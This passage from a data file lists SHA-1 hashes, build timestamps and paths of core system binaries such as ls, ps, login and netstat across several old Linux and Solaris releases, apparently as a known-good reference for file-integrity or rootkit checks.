+8E9768481AB1B5550B2EA2AD33C4158547B65053 Mon Jun 1 14:47:46 2009 /bin/sh [CentOS 4.8] + +2408040D25263B9C889B9D654FCABEC2D99395F2 Mon Jun 25 14:39:30 2001 /usr/bin/find [RedHat 7.2] +7A10D2D6DF14DACFD891113044B8BABE56B129FF Mon Jul 23 16:23:45 2001 /bin/su [RedHat 7.2] +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.2] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.2] +5BEC0AF53A8F8ABF58D07467764598E318D45F4E Tue Jul 31 15:56:52 2001 /sbin/arp [RedHat 7.2] +E55548F9F26E7E7CD9C2CE67D6D486FA8D7966D9 Tue Jul 31 15:56:53 2001 /bin/netstat [RedHat 7.2] +D3BF295852A0F388634F78AF61BD9C67C673F01D Thu Aug 9 13:01:20 2001 /bin/rm [RedHat 7.2] +6DFE962EE3ECCE023DA0D56029E045DB2899DF92 Thu Aug 9 13:01:19 2001 /bin/ls [RedHat 7.2] +35C239D270979E4B8647E897AA5A2591E076E102 Sun Aug 26 22:51:37 2001 /bin/login [RedHat 7.2] +0B1E24D258395F4D7FAA9B52F8B6072311C3A6DB Tue Aug 28 03:16:31 2001 /usr/bin/w [RedHat 7.2] +F1677FF001E09138C36D6780321927EA2B7BC56E Tue Aug 28 03:16:31 2001 /bin/ps [RedHat 7.2] +FC84AF0E9B871629E1EF4839553D76DD613D84FD Wed Aug 29 18:21:15 2001 /sbin/modinfo [RedHat 7.2] +665AC0622346D4D37190C33BC56D5596C4BF4A69 Wed Aug 29 21:20:09 2001 /usr/sbin/xinetd [RedHat 7.2] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.2] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.2] +363096C16F4ABB9E0A1B9FD1EC8459886887BB47 Mon Jul 9 12:56:21 2001 /bin/sh [RedHat 7.2] + +5A43FF6F9D2A448EC8F035E467CAE671207C0341 Thu Jul 13 16:07:56 2006 /usr/bin/find [RedHat Enterprise 5.0 x86_64] +511AF62BA177BA550628BB5976304344D89A67EF Mon Aug 7 11:18:26 2006 /sbin/arp [RedHat Enterprise 5.0 x86_64] +B5C44D8A431A835AD93D17964ED344DF81E480B2 Mon Aug 7 11:18:26 2006 /bin/netstat [RedHat Enterprise 5.0 x86_64] +054A6ADFE0E9B813273F20266688AFA3227B5D81 Wed Nov 8 13:48:22 2006 /usr/bin/telnet [RedHat Enterprise 5.0 x86_64] +CF11CA9807762DDC007B428004E38AD4D5E7A3E2 Mon Nov 27 16:47:11 2006 /bin/su [RedHat Enterprise 5.0 x86_64] +DAE80262E7C46250506C473A819BC09B84F4BDB5 Mon Nov 27 16:47:19 2006 /bin/rm [RedHat Enterprise 5.0 x86_64] +244701E27101F48239446772DA36F65DE6B76ED0 Mon Nov 27 16:47:19 2006 /bin/ls [RedHat Enterprise 5.0 x86_64] +92D15495317BF5655598633D73C73974830B756E Tue Nov 28 14:06:40 2006 /usr/bin/w [RedHat Enterprise 5.0 x86_64] +8B3D89866034C5A091BEDD2D10228A2F1CBD24A1 Tue Nov 28 14:06:40 2006 /bin/ps [RedHat Enterprise 5.0 x86_64] +F1AC9091C6F3DAFFE28F8A973F046E0575E081DD Thu Jan 11 16:10:10 2007 /bin/login [RedHat Enterprise 5.0 x86_64] +AE66CABC610FB7165E1201D88028B75BAF4363DB Wed Jan 17 16:01:05 2007 /sbin/modinfo [RedHat Enterprise 5.0 x86_64] +9FE33ED5E25B28EA69914C273FB90B0ACEEBB819 Wed Jul 12 07:11:42 2006 /bin/sh [RedHat Enterprise 5.0 x86_64] + +4D035E747FE179F433022BC04FFD2D7495F1552E Tue Jun 14 20:36:21 2005 /usr/bin/telnet [CentOS 4.5 x86_64] +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.5 x86_64] +8F9BC95B7045E9BDC921ED140B4AC54D1A94C75A Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.5 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.5 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.5 x86_64] +B41AB09255BFD6FACF44461819655DE2A7639F30 Thu May 3 02:08:17 2007 /usr/bin/w [CentOS 4.5 x86_64] +8ADA093992F1C0C9FDA5F42E4C9D7825A37758FD Thu May 3 02:08:17 2007 /bin/ps [CentOS 4.5 x86_64] +0FDA981DB1AF55C0E5D3F7941796408DA6E333A4 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.5 x86_64] +2C9027CE09313BBD50775AF6D4AD8D0A4ADFFB9E Thu May 3 23:58:56 2007 /bin/login [CentOS 4.5 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sat May 5 08:13:31 2007 /bin/su [CentOS 4.5 x86_64] +B27D2FF8C6653F33053C379EC76BDBC8F866B982 Sat May 5 08:13:38 2007 /bin/rm [CentOS 4.5 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sat May 5 08:13:39 2007 /bin/ls [CentOS 4.5 x86_64] +B38673A6220E79D5FE965C810A17AD29D7F26F76 Tue Aug 15 20:33:04 2006 /bin/sh [CentOS 4.5 x86_64] + +68D68D9B0AD34BBED571D16447DEFA787CEBCA1C Tue Jul 24 11:55:20 2001 /usr/sbin/in.rshd [RedHat 7.3] +3EBBB91D6CBAB4D8948034BEB55BBC6DB3F4BD7A Tue Jul 24 11:55:20 2001 /usr/sbin/in.rlogind [RedHat 7.3] +DCD8A2392D148F9D954AEB61E1F9EFA4BE30452D Thu Sep 6 07:45:47 2001 /usr/sbin/in.telnetd [RedHat 7.3] +9546B47C3299E2CD1C6D0C636D16AB9E9BFBFE00 Thu Sep 6 07:45:47 2001 /usr/bin/telnet [RedHat 7.3] +34E503B559852AB8908502B4658AD2AE5C1F3F6C Tue Feb 26 17:50:38 2002 /usr/bin/find [RedHat 7.3] +458DB732C975C4C55976FE4173FCE1CE926F9CB4 Mon Mar 25 01:23:18 2002 /bin/rm [RedHat 7.3] +497E2DCC29D13AE718FBFB7CD4F88027138E012A Mon Mar 25 01:23:18 2002 /bin/ls [RedHat 7.3] +0A74FA4B1DC40EE29284F55798B56CA67A9A2C3F Mon Apr 1 23:26:23 2002 /bin/login [RedHat 7.3] +D2141246EA5129E828CB0EFF1B8A9ADD4EE2F33A Thu Apr 4 22:30:50 2002 /usr/sbin/xinetd [RedHat 7.3] +7CFD480FE12092653CD6DC3DE071B9BDC24564A6 Mon Apr 8 16:02:11 2002 /bin/su [RedHat 7.3] +2C904E2EB78DD066F8AE950CEDFAF0B4CB31C0F3 Fri Apr 12 04:26:19 2002 /sbin/arp [RedHat 7.3] +413BDA08012BA9B388586EC5D4E2B48E496E0203 Fri Apr 12 04:26:19 2002 /bin/netstat [RedHat 7.3] +4EC3FD6F844BB476CBB0174D8EFFAFDB14BFD1A3 Mon Apr 15 20:59:55 2002 /usr/bin/w [RedHat 7.3] +FFDAF0D89E62825C19E0D71DA4B8C9DCBC226C24 Mon Apr 15 20:59:55 2002 /bin/ps [RedHat 7.3] +5D02FB86E5320EFCC30C2C2EAC7062496BA3F197 Tue Apr 16 22:46:34 2002 /sbin/modinfo [RedHat 7.3] +F70539BB32961F3D7DBA42A9C51442C1218A9100 Fri Apr 12 16:09:54 2002 /bin/sh [RedHat 7.3] + +B7783C5DB3DE962797F28E20DE7F0D4E28F9172E Fri Oct 7 21:08:56 2005 /usr/sbin/xinetd [CentOS 4.6 x86_64] +0C1514978EA9DC725D6FBCECEF8540B4BCBE4E2F Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.6 x86_64] +A0567A5C306873DED4A22AD4C7B6C0F913C14AB1 Wed May 2 21:06:50 2007 /sbin/arp [CentOS 4.6 x86_64] +13EDCA1086CDB62026A1EF50B88618FC7EBAF861 Wed May 2 21:06:50 2007 /bin/netstat [CentOS 4.6 x86_64] +E1AD52DBAB5CAACB9AFC37C6404E46136530A369 Thu May 3 04:17:30 2007 /sbin/modinfo [CentOS 4.6 x86_64] +8465AA99D8200C005F9537EC9A53C9ED3661C7C9 Sat Nov 17 01:23:25 2007 /usr/bin/w [CentOS 4.6 x86_64] +828F2A3C7C24BB34BD7A5BAA762BF8885ACEA937 Sat Nov 17 01:23:25 2007 /bin/ps [CentOS 4.6 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.6 x86_64] +FE1539C906FED72FBD254515AFE6ED6F2EDB1A01 Sun Nov 18 11:40:26 2007 /bin/login [CentOS 4.6 x86_64] +A729D8F4443BBCCF65BAA647B3E7A06B9A4CB031 Sun Nov 18 13:17:10 2007 /bin/su [CentOS 4.6 x86_64] +BFB76BACE0B2DFD07149A2A41A9592B42CB1FF34 Sun Nov 18 13:17:17 2007 /bin/rm [CentOS 4.6 x86_64] +59D483D207D0C45CEB4EDCC49F1ACB6ED3CD3EEA Sun Nov 18 13:17:18 2007 /bin/ls [CentOS 4.6 x86_64] +662C012383154E1AFA593F30BC6247730BC862D2 Sat Nov 17 00:31:58 2007 /bin/sh [CentOS 4.6 x86_64] + +E6A45BDD6740C39C684B22519B3169C0C6582A7F Mon Oct 16 11:30:16 2006 /usr/sbin/arp [Ubuntu 7.04] +1520B9B49943CFCA1D018BF20645DAB1F8D682A0 Mon Oct 16 11:30:16 2006 /bin/netstat [Ubuntu 7.04] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Fri Nov 17 12:22:27 2006 /usr/sbin/update-inetd [Ubuntu 7.04] +AFFC4C4C17C71FE7C4223A1B22B6FF29C49C637C Tue Dec 19 20:35:14 2006 /bin/su [Ubuntu 7.04] +6F75D538623A8753E481E52B91A08F5CF80AA4BB Tue Dec 19 20:35:14 2006 /bin/login [Ubuntu 7.04] +F8D6BA0BB29814C348C1C04F356D3FF65E17CF8F Mon Mar 5 06:25:01 2007 /bin/rm [Ubuntu 7.04] +9CEF16D6FA0FD887F9FC66CB76D6A7B2B1CAEBE3 Mon Mar 5 06:25:01 2007 /bin/ls [Ubuntu 7.04] +F6EB766C9FA659FFF074698E5213ADE1F89919C6 Mon Mar 5 06:52:43 2007 /usr/bin/find [Ubuntu 7.04] +44CEC1D5CD818551F02B3FDA837F4325DC22C8B0 Wed Mar 7 21:42:02 2007 /bin/ps [Ubuntu 7.04] +C7F429B7415CF150E2BDC331CF99AB6A0B0FD696 Tue Apr 3 14:03:45 2007 /sbin/modinfo [Ubuntu 7.04] +F310F475148B9CE2B59F9DF25A34830506B1F71B Mon Mar 5 06:00:01 2007 /bin/sh [Ubuntu 7.04] +FEE66F19580408C653A50615152A8DD25764102C Wed Mar 7 21:42:02 2007 /usr/bin/w [Ubuntu 7.04] +C04BBC430FDB314DEB9F3AC8900339AC8D4F16A3 Mon Dec 18 02:16:46 2006 /usr/bin/telnet [Ubuntu 7.04] + +35822096360B54928DF6692D6221D470045CF82E Sat Mar 19 19:18:39 2005 /usr/bin/w [SuSE 9.3] +B3585C5ACE324ECD9C43478307CFCC88FB09E5DC Sat Mar 19 19:18:23 2005 /usr/bin/telnet [SuSE 9.3] +8ED38BF4D2BC647B9FCE0FD593206EBAE9E80067 Sat Mar 19 19:18:39 2005 /bin/ps [SuSE 9.3] +B600A8102D0734CC21D49D25E699238C1F6A4B03 Sat Mar 19 19:25:18 2005 /usr/sbin/in.tftpd [SuSE 9.3] +CEC52C68569F8C7620E7F192A2A0D0C31ABAFDE5 Sat Mar 19 19:54:27 2005 /sbin/arp [SuSE 9.3] +2032E28407C8C69CC248B002F9E6162C8E0D6FBB Sat Mar 19 19:54:27 2005 /bin/netstat [SuSE 9.3] +1603A1E2CF15C48792394504651CD4340B6F00D9 Sat Mar 19 20:06:52 2005 /usr/sbin/rinetd [SuSE 9.3] +5ECA2F14A55620EBF07ACB8F76A89579D5B3957A Sat Mar 19 20:18:33 2005 /usr/bin/find [SuSE 9.3] +A2CCABCEE88C988126357AAA19CD7F9576AFD4E8 Sat Mar 19 20:18:34 2005 /usr/sbin/xinetd [SuSE 9.3] +5BC798D6A91A2952180308C40483025259A9FF13 Sat Mar 19 20:28:24 2005 /bin/su [SuSE 9.3] +50EEF8B61BBD1E57B48BD07E52FCA242DFC08BDF Sat Mar 19 20:28:25 2005 /bin/rm [SuSE 9.3] +3F8D4117BA71BF7A99BBDE908F02D8BEDD6B5263 Sat Mar 19 20:28:24 2005 /bin/ls [SuSE 9.3] +CF5CB062D0CC3DF29BA35F77A73CBB74D3D9CB69 Sat Mar 19 20:57:54 2005 /usr/sbin/vsftpd [SuSE 9.3] +433828B77F4AA6DDB9486F1853DBF68ACED34C0C Sat Mar 19 21:12:55 2005 /bin/login [SuSE 9.3] +5246BC431A6B433BC96D21F7C2F8E474041095D6 Tue Mar 22 19:05:15 2005 /sbin/modinfo [SuSE 9.3] +F7C5B7BB1A18B7636E8BAD070DAB7FB744BECB26 Sat Mar 19 19:17:58 2005 /bin/sh [SuSE 9.3] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Sat Mar 19 20:18:34 2005 /usr/sbin/rcxinetd [SuSE 9.3] +E39DD80CC9F1123773308B1DDB290D46DF62DD96 Sat Mar 19 20:06:52 2005 /usr/sbin/rcrinetd [SuSE 9.3] + +EC952D71BC77FBF74F6C3D0E67AD2D6D81482949 Tue Jun 8 02:28:16 2004 /sbin/arp [Mandriva 10.2] +1827CAA00B2F78E3C2EBE339C0C852EC8594AD20 Tue Jun 8 02:28:16 2004 /bin/netstat [Mandriva 10.2] +9E7E23A84934486FF2BFDF8285682C0ED7468D4A Wed Jan 26 11:22:28 2005 /usr/bin/w [Mandriva 10.2] +050F7B8319F002E8EFDFA054591E0BA4A72C3ED8 Wed Jan 26 11:22:28 2005 /bin/ps [Mandriva 10.2] +BEA641D6FFCBF6F77C9E5FF650D5D9341A39637C Thu Feb 10 17:52:10 2005 /bin/su [Mandriva 10.2] +866B4153FF7FA41A339780CC4DA453CFD6C77557 Thu Feb 10 17:52:10 2005 /bin/rm [Mandriva 10.2] +7C46F22FE4618357DC1C7D38EE0FC42D6D0C13B5 Thu Feb 10 17:52:10 2005 /bin/ls [Mandriva 10.2] +7823D377C6A64A923B039F2C4811F314BDBE45DB Fri Mar 4 16:38:20 2005 /bin/login [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /bin/find [Mandriva 10.2] +FDC4F99846B586AEDA5FDB82E1C2E25838DEADB4 Tue Mar 22 10:10:34 2005 /usr/bin/login [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/proftpd [Mandriva 10.2] +5EF59AD2139FB10C80314E025F939E26705C12B3 Wed Apr 6 17:49:01 2005 /usr/bin/telnet [Mandriva 10.2] +8A31C5AE40CDF50ED5CAD963A91530392137B408 Fri Jan 7 10:15:54 2005 /bin/sh [Mandriva 10.2] +B1A8703124EFCCC894432E1AF8145401CC1D5734 Tue Mar 8 11:43:32 2005 /usr/bin/find [Mandriva 10.2] +F6602896DA1A9E7E0A3907DAC715376FA378EBC9 Fri Feb 11 16:19:17 2005 /sbin/modinfo [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.ftpd [Mandriva 10.2] +6B4DE3E679892F14A4140C74F6FC20A9F51F3E6E Fri Apr 1 15:23:04 2005 /usr/sbin/in.proftpd [Mandriva 10.2] + +C3E45676811E9AA0E356146E55BBED7784F06AD8 Wed Dec 6 15:13:07 2006 /usr/sbin/xinetd [RedHat Enterprise 5.6 x86_64] +1FD4FD4DF3CB3B325AFFCE62705F3F2726DFD7C4 Wed Oct 24 14:05:10 2007 /usr/bin/telnet [RedHat Enterprise 5.6 x86_64] +BF12EDBD1FE444F0D909BAC3BE2D8DF34B6ED0D2 Tue May 19 13:50:46 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.6 x86_64] +E40F4E01F87D1AEB8664F7FF079EFD25B17F2C23 Tue Jul 14 10:31:43 2009 /usr/bin/find [RedHat Enterprise 5.6 x86_64] +D2E2C924BDCBD2FF8B2C38913C83431059E02C83 Thu Nov 19 14:21:03 2009 /sbin/arp [RedHat Enterprise 5.6 x86_64] +F078C9FE63B5AD0420394C4A6CE8EA5B152E9E83 Thu Nov 19 14:21:03 2009 /bin/netstat [RedHat Enterprise 5.6 x86_64] +4A28415BB418160142354685CCE696309A58B9ED Tue Feb 9 09:59:28 2010 /usr/bin/w [RedHat Enterprise 5.6 x86_64] +42DE8290DCF70E0B935FCFE03B6667B3DD5A828A Tue Feb 9 09:59:28 2010 /bin/ps [RedHat Enterprise 5.6 x86_64] +F02C9A43F7682CC89D0ACCDDFEAE26CF9AB28299 Tue Feb 23 09:53:57 2010 /bin/su [RedHat Enterprise 5.6 x86_64] +E45DFC3E7B023E0999D8365AFB78F75C06CF27A6 Tue Feb 23 09:54:02 2010 /bin/rm [RedHat Enterprise 5.6 x86_64] +A093FB02C48F202810B0DE7D592ABF5E2E56DE36 Tue Feb 23 09:54:02 2010 /bin/ls [RedHat Enterprise 5.6 x86_64] +194BECC1C46A6283910EA8F919C841EE82EEA499 Wed Sep 22 11:28:02 2010 /bin/login [RedHat Enterprise 5.6 x86_64] +9A57ADBB6EDA11B18EB9B25FA8D3097FB8C28D80 Thu Sep 30 21:33:04 2010 /sbin/modinfo [RedHat Enterprise 5.6 x86_64] +3D18E4FA7EF0922C5DA17DF2ADBFB12250347B1B Tue Oct 21 12:13:18 2008 /bin/sh [RedHat Enterprise 5.6 x86_64] + +8B480D9FFB0BD2C2573E213EA1790AAC4BA059A0 Wed Nov 25 12:07:23 2009 /sbin/modinfo [RedHat Enterprise 4.0 x86_64] +C87A3739D48602E5855AE05A55BD95B5E3D54F34 Tue Mar 9 13:29:56 2010 /usr/bin/telnet [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /bin/find [RedHat Enterprise 4.0 x86_64] +87425F8FF1A4F254FD19E8D12E8A999C54D5622C Fri Oct 1 11:04:55 2010 /bin/su [RedHat Enterprise 4.0 x86_64] +E37585ECD85CA5F0028A9056E816E2977BC4D987 Fri Oct 1 11:04:56 2010 /bin/rm [RedHat Enterprise 4.0 x86_64] +357837AA39950233D939ACC0609830560679E198 Fri Oct 1 11:04:57 2010 /bin/ls [RedHat Enterprise 4.0 x86_64] +F9C905D93BADAE748595F32F49C4259D3E6BC3B0 Tue Oct 5 22:36:11 2010 /sbin/arp [RedHat Enterprise 4.0 x86_64] +30EF64317572148588F49B8BECC497FB2F66F37C Tue Oct 5 22:36:11 2010 /bin/netstat [RedHat Enterprise 4.0 x86_64] +6F7CCB194C2591B599CB81D493AC4F8A505EBE50 Tue Oct 5 22:42:00 2010 /usr/bin/w [RedHat Enterprise 4.0 x86_64] +B7D4BE14CFC74415DE95227B5C9AFE748A4089C7 Tue Oct 5 22:42:00 2010 /bin/ps [RedHat Enterprise 4.0 x86_64] +855707CF636CC488634307EA01F398E702C62638 Mon Oct 11 07:13:06 2010 /bin/login [RedHat Enterprise 4.0 x86_64] +55DF4B383FA794C79F77D7D049795D87CA1672A9 Tue Jun 22 15:15:21 2010 /bin/sh [RedHat Enterprise 4.0 x86_64] +3A1D4AB87D156F42709366D0FBA71262D18698F6 Mon May 24 15:46:24 2010 /usr/bin/find [RedHat Enterprise 4.0 x86_64] + +C2A3A24677920F8C53ABC713A61AF1652DB6831A Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.1] +505FAA9ABED9928A53A5621424A06B1006565C80 Mon Aug 7 11:18:31 2006 /sbin/arp [RedHat Enterprise 5.1] +FF2A830AE90392690C51D660EDC6CD6784953B2B Mon Aug 7 11:18:31 2006 /bin/netstat [RedHat Enterprise 5.1] +428D96115D5DCF3556ED73A95ABE3F8D4096B416 Wed Nov 8 13:52:06 2006 /usr/bin/telnet [RedHat Enterprise 5.1] +073877693F7258C3FC8A49E871829A79DD6C099E Mon Nov 27 16:47:04 2006 /bin/su [RedHat Enterprise 5.1] +3D4FBF738DFD5978EDB33BCB848A08B16EAEA7F7 Mon Nov 27 16:47:11 2006 /bin/rm [RedHat Enterprise 5.1] +B578B2BC75B064FE428BD9024D406DDD1AB6578E Mon Nov 27 16:47:11 2006 /bin/ls [RedHat Enterprise 5.1] +2626E20BE1F6C4A82585D249C1AB20AE085C4450 Tue Nov 28 14:06:34 2006 /usr/bin/w [RedHat Enterprise 5.1] +DA64088EE35F6AB040BE37404DDEB191D6AA4AF7 Tue Nov 28 14:06:34 2006 /bin/ps [RedHat Enterprise 5.1] +ACDCCBFAB14A480B97C13C3ABF63B2EF0AD9EA50 Mon Jun 25 09:43:10 2007 /bin/login [RedHat Enterprise 5.1] +A5F758C1AD8988468FC671357AE15392F321D183 Wed Sep 5 16:57:47 2007 /sbin/modinfo [RedHat Enterprise 5.1] +EF4C60BED8CA4DB913C7D28EC5D02B0E2E3B847D Wed Jul 12 07:11:53 2006 /bin/sh [RedHat Enterprise 5.1] + +9BAE36C1006106AD893A7E5605FBECDE0CC10132 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2] +5BA606A0F59AED590DA09E17BF9AE2A9207FBAE2 Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.2] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.2] +394A7CE0A44B5D6F0901BBCB622ED82E6B357609 Fri Nov 30 12:44:37 2007 /bin/su [RedHat Enterprise 5.2] +4946B25573C71DDA1BE1C3B59BADE1899BA89605 Fri Nov 30 12:44:44 2007 /bin/rm [RedHat Enterprise 5.2] +399C95CC46B3ECCF243A6DA9BB5B74D90843D315 Fri Nov 30 12:44:44 2007 /bin/ls [RedHat Enterprise 5.2] +63CD882455E40564AE124104BBF6D02B5F5C9F00 Wed Jan 2 08:53:12 2008 /usr/bin/w [RedHat Enterprise 5.2] +1B2F3C73AB73A8E6A70EC4428BDA80CD8BE47E35 Wed Jan 2 08:53:12 2008 /bin/ps [RedHat Enterprise 5.2] +3BCEC106071120D99807052E97FD0388C2FB5F82 Thu Jan 17 17:47:15 2008 /sbin/modinfo [RedHat Enterprise 5.2] +FEAF9D1FD9B39206563CFD6D1259533BFDE8A214 Mon Mar 3 18:43:38 2008 /bin/login [RedHat Enterprise 5.2] +CBCC8B23A01101E27779D7668BF86F8F8B0568D0 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.2] +89EA3B8086E025337DACFC2EAF30D8DF5A8F89FE Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.2] +B5F977C6C81C9D6CDC094F0D9850246DCDDC6CC6 Fri Feb 1 11:44:21 2008 /bin/sh [RedHat Enterprise 5.2] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 Generic x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /bin/telnet [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/bin/telnet [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /bin/rm [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /usr/bin/rm [Solaris 2.8 Generic x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic x86] +FB099C696D4384EB1DE0E3E0D79D2368789FE4EF Thu Nov 30 13:42:41 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic x86] +9368068399E5853A42CB88C181C3E975958195B0 Wed Jun 27 13:54:42 2001 /usr/sbin/inetd [Solaris 2.8 Generic x86] +257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic x86] +1CB41885B0FA55036E6EBD9DF0A60D8EBC213CD7 Fri Aug 31 14:09:22 2001 /usr/sbin/in.ftpd [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /bin/su [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /usr/bin/su [Solaris 2.8 Generic x86] +1A3A99C09C22A30F88645E86012E68BD202988E6 Mon Nov 5 12:45:07 2001 /sbin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /bin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /usr/bin/sh [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /bin/netstat [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/bin/netstat [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /bin/login [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /usr/bin/login [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /sbin/su [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/ucb/telnet [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/ucb/netstat [Solaris 2.8 Generic x86] + +713C9693B28A64904B560CE6C23425FDE4AB392A Wed Mar 24 02:34:26 1999 /bin/rm [RedHat 6.0] +12E95288A7005470EF137101E238C5716CAE2B92 Wed Mar 24 02:34:26 1999 /bin/ls [RedHat 6.0] +1238AD79E200FD50E21A3A4DEF60333F968459C2 Thu Mar 25 01:29:45 1999 /sbin/arp [RedHat 6.0] +4296892109596857538E540A83DC62B09A09E2F5 Thu Mar 25 01:29:45 1999 /bin/netstat [RedHat 6.0] +9E8C6728C6F981CE715AAAF047ADCD80DE21F0D3 Mon Mar 29 22:05:00 1999 /usr/bin/find [RedHat 6.0] +67B13564196C698EB71ECBBC79A77E3B62F42BD0 Sat Apr 3 18:09:50 1999 /bin/ps [RedHat 6.0] +CB4E586533A3691339B84DE79C408AD3F8DE5903 Sat Apr 3 18:09:49 1999 /usr/bin/w [RedHat 6.0] +9ABEEE9C26D6C4149B0C496F12902F3D975B7D2A Wed Apr 7 21:21:23 1999 /usr/sbin/inetd [RedHat 